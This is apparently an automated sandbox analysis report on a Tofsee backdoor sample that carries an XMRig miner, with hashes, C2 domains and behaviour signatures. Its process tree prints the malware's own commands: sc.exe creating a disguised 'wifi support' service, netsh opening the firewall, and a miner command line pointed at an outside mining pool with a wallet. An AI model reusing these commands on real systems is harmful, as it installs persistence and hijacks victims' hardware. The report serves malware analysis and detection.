Analysis

  • max time kernel
    146s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    05-06-2022 05:10

General

  • Target

    de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5.exe

  • Size

    309KB

  • MD5

    9d1fe9a2662b8197482fd35c451577ac

  • SHA1

    da070a55592640ca42b9e4f38a3f7c3eee2522c1

  • SHA256

    de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5

  • SHA512

    34ad51dd9206777d24b680c2fe329d876e711c143be5aa8c3ebee52409c4fe0b14ff8378ef805c307236dbd62d991eaf41cdd6403057e6f05305b7cb40fe704a

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5.exe
    "C:\Users\Admin\AppData\Local\Temp\de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ihimkpaf\
      2⤵
        PID:4752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cytwgcgr.exe" C:\Windows\SysWOW64\ihimkpaf\
        2⤵
          PID:5076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ihimkpaf binPath= "C:\Windows\SysWOW64\ihimkpaf\cytwgcgr.exe /d\"C:\Users\Admin\AppData\Local\Temp\de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ihimkpaf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3080
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ihimkpaf
          2⤵
          • Launches sc.exe
          PID:4832
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:980
      • C:\Windows\SysWOW64\ihimkpaf\cytwgcgr.exe
        C:\Windows\SysWOW64\ihimkpaf\cytwgcgr.exe /d"C:\Users\Admin\AppData\Local\Temp\de2146a97f1318d0957c808c23fa813c64955ced2187cdd2cef9d4971f5fc3a5.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4604
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4796

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\cytwgcgr.exe
        Filesize

        14.1MB

        MD5

        6a2ebeca0a77584b189b98b525ce1d2d

        SHA1

        8a9c990adc6e84009da4d8c09dea4c572c970398

        SHA256

        20becfeea73491358edc8f1dd4fcffae9268210691fb6429caf618880f970707

        SHA512

        cacb1b9c1335de213ff72ec48b90ee32f4a0773b38192195c2a049a311df9e932a3ce4503273fc82bbd3e39675deb136fa2c9d27a1b3bcb4450f8136efef0b20

      • C:\Windows\SysWOW64\ihimkpaf\cytwgcgr.exe
        Filesize

        14.1MB

        MD5

        6a2ebeca0a77584b189b98b525ce1d2d

        SHA1

        8a9c990adc6e84009da4d8c09dea4c572c970398

        SHA256

        20becfeea73491358edc8f1dd4fcffae9268210691fb6429caf618880f970707

        SHA512

        cacb1b9c1335de213ff72ec48b90ee32f4a0773b38192195c2a049a311df9e932a3ce4503273fc82bbd3e39675deb136fa2c9d27a1b3bcb4450f8136efef0b20

      • memory/980-213-0x0000000000000000-mapping.dmp
      • memory/1904-183-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-188-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-186-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-184-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-182-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-181-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/1904-180-0x0000000000000000-mapping.dmp
      • memory/2404-316-0x0000000000500000-0x000000000064A000-memory.dmp
        Filesize

        1.3MB

      • memory/2404-314-0x000000000085C000-0x000000000086C000-memory.dmp
        Filesize

        64KB

      • memory/2404-335-0x000000000085C000-0x000000000086C000-memory.dmp
        Filesize

        64KB

      • memory/2404-338-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/3080-185-0x0000000000000000-mapping.dmp
      • memory/3080-187-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-139-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-127-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-136-0x00000000001D0000-0x00000000001E3000-memory.dmp
        Filesize

        76KB

      • memory/3716-137-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-135-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-117-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-138-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-140-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-141-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-142-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-143-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-144-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-146-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-145-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-147-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-148-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-149-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-150-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-151-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-152-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-153-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-154-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-155-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-156-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-157-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-158-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-159-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-160-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/3716-161-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-162-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-163-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-164-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-165-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-166-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-118-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-119-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-120-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-121-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-122-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-219-0x0000000000400000-0x00000000004F3000-memory.dmp
        Filesize

        972KB

      • memory/3716-216-0x00000000001D0000-0x00000000001E3000-memory.dmp
        Filesize

        76KB

      • memory/3716-215-0x0000000000791000-0x00000000007A1000-memory.dmp
        Filesize

        64KB

      • memory/3716-123-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-124-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-125-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-126-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-134-0x0000000000791000-0x00000000007A1000-memory.dmp
        Filesize

        64KB

      • memory/3716-132-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-131-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-130-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-129-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-128-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/3716-133-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4604-329-0x00000000008E9A6B-mapping.dmp
      • memory/4604-486-0x00000000008E0000-0x00000000008F5000-memory.dmp
        Filesize

        84KB

      • memory/4604-408-0x00000000008E0000-0x00000000008F5000-memory.dmp
        Filesize

        84KB

      • memory/4752-168-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4752-169-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4752-167-0x0000000000000000-mapping.dmp
      • memory/4752-170-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4752-172-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4752-171-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/4796-521-0x0000000002F8259C-mapping.dmp
      • memory/4832-197-0x0000000000000000-mapping.dmp
      • memory/5076-173-0x0000000000000000-mapping.dmp
      • memory/5076-175-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/5076-178-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/5076-174-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/5076-176-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB

      • memory/5076-177-0x00000000771A0000-0x000000007732E000-memory.dmp
        Filesize

        1.6MB